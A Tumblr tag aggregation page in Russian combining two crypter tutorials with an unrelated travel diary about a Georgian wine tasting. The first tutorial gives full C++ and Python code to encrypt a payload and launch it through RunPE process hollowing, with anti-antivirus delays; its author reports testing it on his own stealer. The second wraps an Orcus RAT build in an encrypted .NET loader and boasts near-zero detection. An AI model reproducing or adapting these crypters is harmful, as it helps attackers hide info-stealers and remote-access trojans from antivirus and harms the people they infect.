Tumgik
#инфобез
ims0rry · 6 years
Text
Крипт NATIVE приложения средствами C++
Tumblr media
Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Материалы:
Visual Studio
Python 3.5
Python 2.7
2 руки
Пару извилин
Итак, начнем:
А начнем мы, пожалуй, с написания самой простой программки, на которой мы и будем тестировать наш крипт. (Далее - пейлоад)
Создаем проект консольного C++ приложения (x86 или win32).
Внутри прописываем:
#include <Windows.h> int main() { MessageBox(NULL, L"test", L"test", ICON_SMALL); return 0; }
Компилим, тестируем, выдается окно с надписью "test".
Откладываем этот проект и приступаем к части шифрования данных. (Далее - энкодер)
Создаем еще один такой же проект.
Далее нам нужно набросать примерный алгоритм шифрования байтов.
Я сильно заморачиваться не буду и просто напишу вычитание из оригинала 0х11.
Для начала узнаем размер считываемого файла:
FILE * file = fopen("in.exe", "rb"); if (file == NULL) return 0; fseek(file, 0, SEEK_END); long int size = ftell(file); fclose(file);
Далее считываем байты в массив и шифруем их:
file = fopen("in.exe", "rb"); unsigned char * in = (unsigned char *)malloc(size); int bytes_read = fread(in, sizeof(unsigned char), size, file); fclose(file); for (int i = 0; i < size; i++) { in[i] = in[i] - 0x11; }
Выплевываем зашифрованный файл:
file = fopen("out.exe", "wb"); int bytes_written = fwrite(in, sizeof(unsigned char), size, file); fclose(file);
И сразу дешифруем его таким же методом чтоб убедиться, что он остается рабочим:
for (int i = 0; i < size; i++) { in[i] = in[i] + 0x11; } file = fopen("decr.exe", "wb"); bytes_written = fwrite(in, sizeof(unsigned char), size, file); fclose(file);
Компилируем проект, пропускаем пейлоад через энкодер и видим на выходе 2 файла: out.exe иdecr.exe. Пробуем запустить decr.exe - если вылезает окошко "test", значит все хорошо.
Далее, нам нужно получить массив байт из зашифрованного файла, чтоб в дальнейшем вставить этот массив в криптор.
Для этого пишем простенький скрипт на Python 2.7 и прогоняем через него наш файл out.exe:
import os, binascii target = "out.exe" output_file = "file.txt" bytes_per_line = 16 try: count = 0; index = 0; output = "unsigned char rawData[] = {\n\t" with open(target, "rb") as f: hexdata = binascii.hexlify(f.read()) hexlist = map(''.join, zip(*[iter(hexdata)]*2)) for hex in hexlist: if count >= bytes_per_line: output += "\n\t" count = 0; output += "0x" + str(hexlist[index]).upper() + "," count += 1; index += 1; output += "\n};\n" out = open(output_file, "w") out.write(output) out.close() except: pass
Создался файл file.txt, сохраняем его и приступаем к следующему шагу.
Теперь самая важная часть криптора - собственно, сам криптор.
Создаем проект приложения win32 и вставляем наш массив из файла file.txt перед методом main(). 
Сразу прописываем хедеры к этому файлу:
#include <windows.h> #include <winternl.h> #pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"ntdll.lib")
И функцию RunPE:
int RunPortableExecutable(void* Image) { IMAGE_DOS_HEADER* DOSHeader; IMAGE_NT_HEADERS* NtHeader; IMAGE_SECTION_HEADER* SectionHeader; PROCESS_INFORMATION PI; STARTUPINFOA SI; CONTEXT* CTX; DWORD* ImageBase; void* pImageBase; int count; char buffer[MAX_PATH]; GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH); char *CurrentFilePath = buffer; DOSHeader = PIMAGE_DOS_HEADER(Image); NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); if (NtHeader->Signature == IMAGE_NT_SIGNATURE) { ZeroMemory(&PI, sizeof(PI)); ZeroMemory(&SI, sizeof(SI)); typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); NtUnmapViewOfSection mNtUnmapViewOfSection; if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) { CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); CTX->ContextFlags = CONTEXT_FULL; if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) { ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0); pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL); for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) { SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40)); WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0); } WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0); CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; SetThreadContext(PI.hThread, LPCONTEXT(CTX)); ResumeThread(PI.hThread); return 0; } } } }
Далее в методе main() нам необходимо расшифровать массив байт и запустить его, перезаписав память собственного процесса:
for (int i = 0; i < 550000; i++) OutputDebugStringW(L""); //Код для заглота Avast & AVG for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) { unsigned char b = rawData[i] + 0x11; rawData[i] = b; } Sleep(((rand() % 5 + 1) + 2) * 1000); //Рандомная задержка RunPortableExecutable(rawData); delete[] rawData;
Иии, собственно все, криптор готов. Единственный момент - после компиляции проекта криптора, на файле будет иконка. Уберите ее, а то словите очень много GEN детектов. Таким методом обходится не только Scantime, но и Runtime. Это я протестировал лично на своем стиллере. Как результат - полный обход всех популярных антивирусов, кроме Avira.
Scantime - http://viruscheckmate.com/id/2cO3PRtR2r8x
Runtime -https://run4me.net/result/1db6493fd0fc5c2fba2ea6a4f1a8a20594c37754c21bb1fe4fed7aaad68d63d6
4 notes · View notes
Text
Trip to Georgia and Armenia. Part 2.
Учитывая предыдущий насыщенный день, второй день начался не так эпично. Так как мы успели договориться на дегустацию вина, мы решили перед этим пообедать и сходить на вокзал, чтобы купить билет на следующий день Кутаиси-Тбилиси. Нам в отеле посоветовали пойти в определённую хинкальную. Скажу так: хинкали были вкусные, но не лучшие, но вот сервис — это что-то с чем-то. Мы попросили счёт и ждали минут 25-30, пока я не выдержала и не пошла заплатить картой у кассы. Муж успел пошутить, что скорее всего они вручную выписывают чеки и чтобы вы думали — таки да :D
Вокзал в Кутаиси небольшой, билеты купили быстро, так как никаких очередей не было. Далее мы поспешили к отелю, так как в 2 часа нас должна была забрать маршрутка.
Tumblr media
Ехали мы в Meore Obcha, Bagdati. Как позже заметила одна девушка из Румынии, водитель был самый спокойный на дороге среди всех, с кем она ездила по Грузии. И правда, ехал без всяких манёвров, рывков, в общем у него не было желание нас убить. Нас встретила очень забавная девушка, так как она была в худи, резиновых сапогах и пляжных шортиках. Она ещё не раз извинялась за вид, сказала, что уже начался сезон работы.
Tumblr media
Нам показали и рассказали, как делается вино в их семье, в каких цистернах держиться вино, дали попробовать что-то типа маджари (бурчака, молодого вина).
Tumblr media Tumblr media Tumblr media Tumblr media
Пару лет назад я поступила на отделение виноделия, но в итоге пошла на инфобез. Так вот после экскурсии чего-то задумалась — а вдруг пойти и получить второе образование и делать вино :D 
Tumblr media Tumblr media Tumblr media Tumblr media Tumblr media
Но куда же без застолий в грузинско-армянском стиле. Нас всех пригласили и мы отведали местное белое и красное вино, чачу (!) и что-то типа коньяка (!!). И, конечно же, хачапури, лобиани, пури, баклажаны с ореховым соусом и тд. В общем то, за чем я сильно скучала — домашней грузинской едой. К сожалению гид покинул нас во время дегустации, так как сейчас самый пик работ. Все были англо-румыно-немецко-польско-говорящие, поэтому водитель меня попросил переводить грузинские тосты на английский. Для ребят это всё было очень интересным, а для меня воспоминания о доме =)
Спустя пару бокалов вина, мы очень сильно все разговорились, насмеялись, в общем атмосфера была замечательная. Там была одна женщина, которая разговаривала по-польски и по-немецки, но не умела по-английски и русски, в общем она попросила нас с мужем переводить водителю. То есть схема была такой: мы с ней по-чешски, она с нами по-польски, мы водителю на русский потом переводили. На удивление, чешский она понимала, если было непонятно, мы сразу повторяли по-украински =) В общем, было очень и очень весело. А ещё я впервые услышала румынский язык вживую и он очень интересно звучит. Мы даже успели обсудить DnD (привет нашему мастеру и ананасовой банде).
Если кратко — это был чудесный день, который напомнил мне о семье, о традициях. Я безумно рада, что существует такой сервис. Ведь для меня это всё было привычным, а вот для ребят — уникальная возможность с головой уйти в культуру и традиции.
Где-то в 8-9 вечера мы вернулись в отель. И слоганом этого дня был «Что же будет дальше?»
Кстати говоря, я умудрилась найти в автобусе между нашими сидениями книгу-путеводитель о Грузии, правда на немецком. Наверное, это судьба, так как я уже пару месяцев всё больше и больше задумываюсь изучать немецкий.
Предыдущая часть: https://supermooncakechookity.tumblr.com/post/178660367663/trip-to-georgia-and-armenia-part-1
Следущая часть: https://supermooncakechookity.tumblr.com/post/179004992883/trip-to-georgia-and-armenia-part-3
0 notes
ims0rry · 6 years
Text
Крипт .NET приложения на примере Orcus Rat
Tumblr media
Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Предисловие:
Мне около недели назад кинули крипт моего модуля бота от человека, который занимается этим на дарквебе и других форумах. Файлик легко разобрался через dotPeek и я чуть охренел когда открыл его. До этого момента я думал что не особо шарю в крипте, но, как оказалось, говнокод в этом деле - залог успеха.
Материалы:
Visual Studio 2015
Python 3.5
Семпл .Net вируса
2 руки
Приступим:
Открываем Visual Studio и создаем Visual C# проект (console application). Далее заходим в вкладку свойств и переключаемся на Приложение Windows. Далее заходим в ресурсы, добавляем сторонний файл (выбранный .net семпл).
В методе main прописываем:
Assembly a = Assembly.Load(Properties.Resources.sample); MethodInfo m = a.EntryPoint; m.Invoke(a.CreateInstance(m.Name), new string[0]);
Где sample - имя вашего файла.
Я брал билд ратника Orcus и его изначальный детект был -
http://viruscheckmate.com/id/5ZpbVs6RPFo2 (26/36)
Далее выставляем сборку на Release и собираем проект. Полученный файл чекаем на детект:
http://viruscheckmate.com/id/lFhLOauveFc2 (9/36). Тремя строчками избавились от 17 детектов, но все равно это слишком много.
Основное палево происходит по сигнатурам файла, который лежит в ресурсах (ратник), т.к. байты ничем не зашифрованы и файл ничем не накрыт.
Соответственно, нам надо каким-то образом сокрыть эти сигнатуры и воткнуть файл в память пока антивирус ничего не понял.
Для этого создаем Python-скрипт, который будет шифровать наш файл в ресурсах:
import os def encrypt():    with open('run.exe', 'rb') as f:        arr = f.read()        with open('encrypted.txt', 'w') as w:            arr2 = []            for i in arr:                if i % 2:                    arr2.append(int(i) - 25) # Абсолютно любая цифра                else:                    arr2.append(int(i) + 15) # Абсолютно любая цифра            for i in arr2:                w.write(str(i) + " ") encrypt()
Где run.exe - имя вашего .Net семпла
Запоминаем цифры которые прописали в скрипте и запускаем его. Рядом со скриптом создастся текстовый файл с зашифрованными байтами в нем. Добавляем его в ресурсы проекта, предварительно удалив старый.
Далее очищаем метод main и внизу создаем отдельный метод дешифровки байтов
public static byte[] decrypt() {    string enc = Properties.Resources.encrypted;    string[] bytes = enc.Split(' ');    byte[] decrypted = new byte[bytes.Length - 1];    for (int i = 0; i < bytes.Length - 1; i++)    {        int curr = Convert.ToInt32(bytes[i]);        if (curr % 2 == 0)            decrypted[i] = Convert.ToByte(curr + 25); # Цифра из скрипта        else            decrypted[i] = Convert.ToByte(curr - 15); # Цифра из скрипта    }    return decrypted; }
Устанавливаем цифры которые вставили в скрипте и дешифровка готова.
Далее это дело нужно как-то запускать. Для этого напишем еще один метод:
public static void run() {    Assembly a = Assembly.Load(decrypt());    MethodInfo m = a.EntryPoint;    m.Invoke(a.CreateInstance(m.Name), new string[0]); }
А в методе main пропишем запуск потока с рандомной задержкой:
static void Main(string[] args) {    Thread.Sleep(new Random().Next(1, 35) * 1000);    new Thread(run).Start();           }
Собираем проект, и получаем следующий результат -
http://viruscheckmate.com/id/8fb1KgzDW8dR (1/36)
Не спрашивайте почему там есть Nod. Он просто по дефолту палит все мои продукты .-.
Билд вполне рабочий, я тестировал на виртуалке и юзер отстучал в ратник. Для красоты можно сверху накрыть темидой чтоб детект держался минимальным, но это не обязательно.
Ссылка на проект и доп. файлы -
https://www.sendspace.com/file/iszve3
Тема создана исключительно для новичков, просьба не использовать подобный говнокод в серьезных проектах ради своего же блага, как это делают многие "крипторы" сейчас.
Это всего-лишь пища для ума, а то как вы ее воспримите и доработаете уже исключительно ваше дело.
2 notes · View notes